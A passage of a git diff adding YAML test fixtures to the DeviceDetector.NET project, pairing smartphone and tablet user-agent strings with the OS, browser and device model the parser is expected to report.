a/DeviceDetector.NET.Tests/fixtures/smartphone-37.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-37.yml @@ -8327,3 +8327,467 @@ model: iPhone SE os_family: iOS browser_family: Safari +- + user_agent: Mozilla/5.0 (Linux; Android 10; Armadillo Phone) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.81 Mobile Safari/537.36 + os: + name: Armadillo OS + version: "" + platform: ARM + client: + type: browser + name: Chrome Mobile + version: 85.0.4183.81 + engine: Blink + engine_version: 85.0.4183.81 + device: + type: smartphone + brand: Pacific Research Alliance + model: Armadillo Phone + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; TTfone TT20) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: "10" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 112.0.0.0 + engine: Blink + engine_version: 112.0.0.0 + device: + type: smartphone + brand: TTfone + model: TT20 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 12; Core-Z5) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 110.0.0.0 + engine: Blink + engine_version: 110.0.0.0 + device: + type: smartphone + brand: Crosscall + model: Core-Z5 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; Qrash) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 109.0.0.0 + engine: Blink + engine_version: 109.0.0.0 + device: + type: smartphone + brand: Quantum + model: Qrash + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; TAGPhone) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 103.0.0.0 + engine: Blink + engine_version: 103.0.0.0 + device: + type: smartphone + brand: TAG Tech + model: Phone + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 8.1.0; CORN_C4) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: 8.1.0 + platform: "" + client: + type: browser + name: Chrome Mobile + version: 103.0.0.0 + engine: Blink + engine_version: 103.0.0.0 + device: + type: smartphone + brand: CORN + model: C4 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; Safaricom ET Kimem Build/RP1A.201005.001; en-us) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.136 Mobile Safari/537.36 Puffin/9.6.1.51244AP + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Puffin + version: 9.6.1.51244 + engine: Blink + engine_version: 79.0.3945.136 + device: + type: smartphone + brand: Safaricom + model: ET Kimem + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; Android 8.1.0; Tesla_SP6_4_Lite) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: 8.1.0 + platform: "" + client: + type: browser + name: Chrome Mobile + version: 102.0.0.0 + engine: Blink + engine_version: 102.0.0.0 + device: + type: smartphone + brand: ComTrade Tesla + model: Smartphone 6.4 Lite + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; ULTRAMINTT A6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.210 Mobile Safari/537.36 + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 90.0.4430.210 + engine: Blink + engine_version: 90.0.4430.210 + device: + type: smartphone + brand: Mintt + model: UltraMintt A6 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 12; RAVOZ V1 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/119.0.6045.193 Mobile Safari/537.36 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Chrome Webview + version: 119.0.6045.193 + engine: Blink + engine_version: 119.0.6045.193 + device: + type: smartphone + brand: Ravoz + model: V1 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 12; COOLMINTT A7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.88 Mobile Safari/537.36 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 99.0.4844.88 + engine: Blink + engine_version: 99.0.4844.88 + device: + type: smartphone + brand: Mintt + model: CoolMintt A7 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 9; BULLITTGROUPLIMITED S61 Build/NMF26F) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.96 Mobile Safari/537.36 AlohaBrowser/3.2.2 + os: + name: Android + version: "9" + platform: "" + client: + type: browser + name: Aloha Browser + version: 3.2.2 + engine: Blink + engine_version: 83.0.4103.96 + device: + type: smartphone + brand: Cat + model: S61 + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; U; Android 12; COOLMINTT X7 Build/SP1A.210812.016; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/114.0.5735.196 Mobile Safari/537.36 OPR/73.0.2254.68338 + os: + name: Android + version: "12" + platform: "" + client: + type: browser + name: Opera Mobile + version: 73.0.2254.68338 + engine: Blink + engine_version: 114.0.5735.196 + device: + type: smartphone + brand: Mintt + model: CoolMintt X7 + os_family: Android + browser_family: Opera +- + user_agent: Mozilla/5.0 (Linux; U; Android 13; en-gb; RMX3782 Build/TP1A.220905.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.88 Mobile Safari/537.36 HeyTapBrowser/45.10.5.1.1 + os: + name: Android + version: "13" + platform: "" + client: + type: mobile app + name: HeyTapBrowser + version: 45.10.5.1.1 + device: + type: smartphone + brand: Realme + model: C67 5G + os_family: Android + browser_family: Unknown +- + user_agent: Mozilla/5.0 (Linux; U; Android 13; en-gb; RMX3780 Build/TP1A.220905.001) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.88 Mobile Safari/537.36 HeyTapBrowser/45.10.5.1.1 + os: + name: Android + version: "13" + platform: "" + client: + type: mobile app + name: HeyTapBrowser + version: 45.10.5.1.1 + device: + type: smartphone + brand: Realme + model: 11 5G + os_family: Android + browser_family: Unknown +- + user_agent: Dalvik/2.1.0 (Linux; U; Android 14; RMX3890 Build/UKQ1.230917.001) + os: + name: Android + version: "14" + platform: "" + client: + type: browser + name: Android Browser + version: "" + engine: WebKit + engine_version: "" + device: + type: smartphone + brand: Realme + model: C67 + os_family: Android + browser_family: Android Browser +- + user_agent: Mozilla/5.0 (Linux; Android 13; 23100RN82L Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.143 Mobile Safari/537.36 + os: + name: Android + version: "13" + platform: "" + client: + type: browser + name: Chrome Webview + version: 121.0.6167.143 + engine: Blink + engine_version: 121.0.6167.143 + device: + type: smartphone + brand: Xiaomi + model: Redmi 13C + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_4_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.2.6.700 V1_IPH_SQ_8.2.6_1_APP_A Pixel/640 MiniAppEnable Core/WKWebView Device/Apple(iPhone 5S) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 12.4.5 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 5S + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/14G60 QQ/103.3 TIM/3.3.5.545 V1_IPH_SQ_8.4.8_335_TIM_D Pixel/750 MiniAppEnable SimpleUISwitch/1 QQTheme/1015712 Core/WKWebView Device/Apple(iPhone 6) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 10.3.3 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 6 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.4.17.638 V1_IPH_SQ_8.4.17_1_APP_A Pixel/750 MiniAppEnable SimpleUISwitch/0 QQTheme/3306 Core/WKWebView Device/Apple(iPhone 6s) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: "14.1" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 6s + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16F203 QQ/8.3.5.612 V1_IPH_SQ_8.3.5_1_APP_A Pixel/750 MiniAppEnable SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone 7) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 12.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 7 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/17F80 QQ/8.3.6.618 V1_IPH_SQ_8.3.6_1_APP_A Pixel/750 SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone 8) NetType/4G QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.5.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 8 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 13_6_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.4.5.626 V1_IPH_SQ_8.4.5_1_APP_A Pixel/828 MiniAppEnable SimpleUISwitch/0 QQTheme/1000 Core/WKWebView Device/Apple(iPhone XR) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 13.6.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone XR + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 14_7_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148/smzdm 10.6.20 rv:143.4 (iPhone 11; iOS 14.7.1; zh_CN)/iphone_smzdmapp/10.6.20/wkwebview/jsbv_1.0.0 + os: + name: iOS + version: 14.7.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 11 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 16_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.9.85.608 V1_IPH_SQ_8.9.85_1_APP_A Pixel/1080 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.117647 QQTheme/1000 AppId/537179600 Core/WKWebView Device/Apple(iPhone 13 mini) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 16.7.2 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: smartphone + brand: Apple + model: iPhone 13 Mini + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_3_1 like Mac OS X) AppleWebKit/606.2.35 (KHTML, like Gecko) Mobile/15E148 QQ/8.0.8.458 V1_IPH_SQ_8.0.8_1_APP_A Pixel/1242 Core/WKWebView Device/Apple(iPhone XS) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iOS + version: 12.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 606.2.35 + device: + type: smartphone + brand: Apple + model: iPhone XS + os_family: iOS + browser_family: Safari diff --git a/DeviceDetector.NET.Tests/fixtures/smartphone-6.yml b/DeviceDetector.NET.Tests/fixtures/smartphone-6.yml index 9be11dd..3ac70ca 100644 --- a/DeviceDetector.NET.Tests/fixtures/smartphone-6.yml +++ b/DeviceDetector.NET.Tests/fixtures/smartphone-6.yml @@ -7786,7 +7786,7 @@ platform: "" client: type: mobile app - name: BingWebApp + name: Microsoft Bing version: "6.9.25207603" device: type: smartphone diff --git a/DeviceDetector.NET.Tests/fixtures/tablet-11.yml b/DeviceDetector.NET.Tests/fixtures/tablet-11.yml index 16a37f6..7db41fb 100644 --- a/DeviceDetector.NET.Tests/fixtures/tablet-11.yml +++ b/DeviceDetector.NET.Tests/fixtures/tablet-11.yml @@ -161,3 +161,785 @@ model: MID169 os_family: Android browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 10; TitaniumGTColorsGO) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36 + os: + name: Android + version: "10" + platform: "" + client: + type: browser + name: Chrome + version: 109.0.0.0 + engine: Blink + engine_version: 109.0.0.0 + device: + type: tablet + brand: X-View + model: Titanium GT Colors GO + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; Elite OctaX) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Mobile Safari/537.36 + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Chrome Mobile + version: 103.0.0.0 + engine: Blink + engine_version: 103.0.0.0 + device: + type: tablet + brand: Sky + model: Elite Octa X + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; KFRAPWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/106.6.3 like Chrome/106.0.5249.208 Safari/537.36 + os: + name: Fire OS + version: "8" + platform: "" + client: + type: browser + name: Mobile Silk + version: 106.6.3 + engine: Blink + engine_version: 106.0.5249.208 + device: + type: tablet + brand: Amazon + model: Fire HD 8 (2022) + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; UltraMintt T10) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/88.0.4324.181 Safari/537.36 + os: + name: Android + version: "11" + platform: "" + client: + type: browser + name: Chrome + version: 88.0.4324.181 + engine: Blink + engine_version: 88.0.4324.181 + device: + type: tablet + brand: Mintt + model: UltraMintt T10 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; KFTUWI) AppleWebKit/537.36 (KHTML, like Gecko) Silk/118.1.77 like Chrome/118.0.5993.111 Safari/537.36 + os: + name: Fire OS + version: "8" + platform: "" + client: + type: browser + name: Mobile Silk + version: 118.1.77 + engine: Blink + engine_version: 118.0.5993.111 + device: + type: tablet + brand: Amazon + model: Fire HD 10 (2023) + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; KFTUWI Build/RS8321.1924N; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Safari/537.36 + os: + name: Fire OS + version: "8" + platform: "" + client: + type: browser + name: Chrome Webview + version: 118.0.0.0 + engine: Blink + engine_version: 118.0.0.0 + device: + type: tablet + brand: Amazon + model: Fire HD 10 (2023) + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 13; Puya Build/TP1A.220624.014; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/121.0.6167.164 Safari/537.36 + os: + name: Android + version: "13" + platform: "" + client: + type: browser + name: Chrome Webview + version: 121.0.6167.164 + engine: Blink + engine_version: 121.0.6167.164 + device: + type: tablet + brand: Hot Pepper + model: Puya + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (Linux; Android 11; KFSNWI Build/RS8321.1924N; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/118.0.0.0 Safari/537.36 + os: + name: Fire OS + version: "8" + platform: "" + client: + type: browser + name: Chrome Webview + version: 118.0.0.0 + engine: Blink + engine_version: 118.0.0.0 + device: + type: tablet + brand: Amazon + model: Fire Max 11 + os_family: Android + browser_family: Chrome +- + user_agent: Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/7.2.0.0 TencentDocs/3.1.7 Pixel/1668 Core/WKWebView Device/Apple(iPad Pro (11-inch) (4th generation)) NetType/undefined _tdocFlag/2 exkb/1 QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "17.2" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Pro 2 11" + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 16_6 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1668 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1102 AppId/537203253 Core/WKWebView Device/Apple(iPad Pro 11 inch 5th Gen (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "16.6" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Pro 3 11" WiFi + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 16_3_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/20D67 QQ/8.8.91.600 V1_IPH_SQ_8.8.91_1_APP_A Pixel/1620 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1000 AppId/537118907 Core/WKWebView Device/Apple(iPad 9th Gen (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: 16.3.1 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad 9 10.2" WiFi + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.9.85.608 V1_IPH_SQ_8.9.85_1_APP_A Pixel/1668 MiniAppEnable SimpleUISwitch/0 StudyMode/1 CurrentMode/2 CurrentFontScale/1.000000 QQTheme/1000 AppId/537179611 Core/WKWebView Device/Apple(iPad Pro 11-inch 3rd-gen (Cellular)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "17.2" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Pro 3 11.0 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 15_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.16.626 V1_IPH_SQ_9.0.16_1_APP_A Pixel/1536 MiniAppEnable SimpleUISwitch/1 StudyMode/0 CurrentMode/1 CurrentFontScale/1.000000 QQTheme/3065 AppId/537201281 Core/WKWebView Device/Apple(iPad 6 (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "15.2" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad 6 9.7 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/19F77 QQ/8.9.3.655 V1_IPH_SQ_8.9.3_1_APP_A Pixel/1488 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1000 AppId/537127421 Core/WKWebView Device/Apple(iPad mini 6th Gen (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "15.5" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Mini 6 WiFi + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 15_7 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/8.9.75.613 V1_IPH_SQ_8.9.75_1_APP_A Pixel/1536 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/1.000000 QQTheme/1102 AppId/537172558 Core/WKWebView Device/Apple(iPad Air 2 (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "15.7" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Air 2 + os_family: iOS + browser_family: Safari +- + user_agent: Mozilla/5.0 (iPad; CPU OS 17_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 QQ/9.0.17.638 V1_IPH_SQ_9.0.17_1_APP_A Pixel/1640 MiniAppEnable SimpleUISwitch/0 StudyMode/0 CurrentMode/0 CurrentFontScale/0.941000 QQTheme/1000 AppId/537203253 Core/WKWebView Device/Apple(iPad Air 4th Gen (WiFi)) NetType/WIFI QBWebViewType/1 WKType/1 + os: + name: iPadOS + version: "17.2" + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: 605.1.15 + device: + type: tablet + brand: Apple + model: iPad Air 4 WiFi + os_family: iOS + browser_family: Safari +- + user_agent: Microsoft Office OneNote/16.81/240108 (iOS/17.3.1; Tablet; AppStore; Apple/iPad8,1) + os: + name: iPadOS + version: 17.3.1 + platform: "" + client: + type: mobile app + name: Microsoft Office OneNote + version: "16.81" + device: + type: tablet + brand: Apple + model: iPad Pro 3 11.0 WiFi + os_family: iOS + browser_family: Unknown +- + user_agent: Microsoft Office OneNote/16.81/240108 (iOS/16.5.1; Tablet; AppStore; Apple/iPad8,3) + os: + name: iPadOS + version: 16.5.1 + platform: "" + client: + type: mobile app + name: Microsoft Office OneNote + version: "16.81" + device: + type: tablet + brand: Apple + model: iPad Pro 3 11.0 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 16_5_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/20F75 [FBAN/FBIOS;FBAV/446.0.0.32.330;FBBV/554572428;FBDV/iPad8,8;FBMD/iPad;FBSN/iPadOS;FBSV/16.5.1;FBSS/2;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/558132887]' + os: + name: iPadOS + version: 16.5.1 + platform: "" + client: + type: mobile app + name: Facebook + version: 446.0.0.32.330 + device: + type: tablet + brand: Apple + model: iPad Pro 3 12.9 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 15_1 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/19B74 [FBAN/FBIOS;FBAV/368.0.0.24.107;FBBV/371860683;FBDV/iPad8,7;FBMD/iPad;FBSN/iPadOS;FBSV/15.1;FBSS/2;FBID/tablet;FBLC/ja_JP;FBOP/5;FBRV/374969207]' + os: + name: iPadOS + version: "15.1" + platform: "" + client: + type: mobile app + name: Facebook + version: 368.0.0.24.107 + device: + type: tablet + brand: Apple + model: iPad Pro 3 12.9 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 17_1_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/21B101 [FBAN/FBIOS;FBAV/445.0.0.35.117;FBBV/548375166;FBDV/iPad8,6;FBMD/iPad;FBSN/iPadOS;FBSV/17.1.2;FBSS/2;FBID/tablet;FBLC/en_US;FBOP/5;FBRV/553543762]' + os: + name: iPadOS + version: 17.1.2 + platform: "" + client: + type: mobile app + name: Facebook + version: 445.0.0.35.117 + device: + type: tablet + brand: Apple + model: iPad Pro 3 12.9 + os_family: iOS + browser_family: Unknown +- + user_agent: TuneIn Radio/27.1.0; iPad6,3; iPadOS/16.6 + os: + name: iPadOS + version: "16.6" + platform: "" + client: + type: mobile app + name: TuneIn Radio + version: 27.1.0 + device: + type: tablet + brand: Apple + model: iPad Pro 9.7 + os_family: iOS + browser_family: Unknown +- + user_agent: TuneIn Radio Pro/27.3.0; iPad6,4; iPadOS/16.7.4 + os: + name: iPadOS + version: 16.7.4 + platform: "" + client: + type: mobile app + name: TuneIn Radio Pro + version: 27.3.0 + device: + type: tablet + brand: Apple + model: iPad Pro 9.7 + os_family: iOS + browser_family: Unknown +- + user_agent: TuneIn Radio Pro/27.4.0; iPad6,7; iPadOS/16.7.4 + os: + name: iPadOS + version: 16.7.4 + platform: "" + client: + type: mobile app + name: TuneIn Radio Pro + version: 27.4.0 + device: + type: tablet + brand: Apple + model: iPad Pro 12.9 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 12_5_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16H50 [FBAN/FBIOS;FBDV/iPad4,8;FBMD/iPad;FBSN/iOS;FBSV/12.5.4;FBSS/2;FBID/tablet;FBLC/en_GB;FBOP/5]' + os: + name: iOS + version: 12.5.4 + platform: "" + client: + type: mobile app + name: Facebook + version: "" + device: + type: tablet + brand: Apple + model: iPad Mini 3 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 12_5_4 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/16H50 [FBAN/FBIOS;FBDV/iPad4,9;FBMD/iPad;FBSN/iOS;FBSV/12.5.4;FBSS/2;FBID/tablet;FBLC/en_GB;FBOP/5]' + os: + name: iOS + version: 12.5.4 + platform: "" + client: + type: mobile app + name: Facebook + version: "" + device: + type: tablet + brand: Apple + model: iPad Mini 3 + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPad; U; CPU OS 7_1 like Mac OS X; iPad4,5) AppleWebKit/534.46 (KHTML, like Gecko) UCBrowser/2.4.0.367 U3/1 Safari/7543.48.3 + os: + name: iOS + version: "7.1" + platform: "" + client: + type: browser + name: UC Browser + version: 2.4.0.367 + engine: WebKit + engine_version: "534.46" + device: + type: tablet + brand: Apple + model: iPad Mini 2 + os_family: iOS + browser_family: Unknown +- + user_agent: Mozilla/5.0 (iPad; U; CPU OS 11_3 like Mac OS X; iPad4,6) AppleWebKit/534.46 (KHTML, like Gecko) UCBrowser/3.0.1.776 U3/ Mobile/10A403 Safari/7543.48.3 + os: + name: iOS + version: "11.3" + platform: "" + client: + type: browser + name: UC Browser + version: 3.0.1.776 + engine: WebKit + engine_version: "534.46" + device: + type: tablet + brand: Apple + model: iPad Mini 2 + os_family: iOS + browser_family: Unknown +- + user_agent: com.google.ios.youtube/17.39.4 (iPad4,2; U; CPU iOS 12_5_7 like Mac OS X; zh-Hans_US) + os: + name: iOS + version: 12.5.7 + platform: "" + client: + type: browser + name: Mobile Safari + version: "" + engine: WebKit + engine_version: "" + device: + type: tablet + brand: Apple + model: iPad Air + os_family: iOS + browser_family: Safari +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 12_5_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 LightSpeed [FBAN/MessengerLiteForiOS;FBAV/358.0.0.12.127;FBBV/365620646;FBDV/iPad4,3;FBMD/iPad;FBSN/iOS;FBSV/12.5.5;FBSS/2;FBCR/;FBID/tablet;FBLC/vi;FBOP/0]' + os: + name: iOS + version: 12.5.5 + platform: "" + client: + type: mobile app + name: Facebook Messenger Lite + version: 358.0.0.12.127 + device: + type: tablet + brand: Apple + model: iPad Air + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 10_3_4 like Mac OS X) AppleWebKit/603.3.8 (KHTML, like Gecko) Mobile/14G61 [FBAN/FBIOS;FBAV/67.0.0.49.70;FBBV/41277963;FBRV/0;FBDV/iPad3,5;FBMD/iPad;FBSN/iOS;FBSV/10.3.4;FBSS/2;FBCR/Rogers;FBID/tablet;FBLC/en_US;FBOP/5]' + os: + name: iOS + version: 10.3.4 + platform: "" + client: + type: mobile app + name: Facebook + version: 67.0.0.49.70 + device: + type: tablet + brand: Apple + model: iPad 4 + os_family: iOS + browser_family: Unknown +- + user_agent: 'Mozilla/5.0 (iPad; CPU OS 9_3_5 like Mac OS X) AppleWebKit/601.1.46 (KHTML, like Gecko) Mobile/13G36 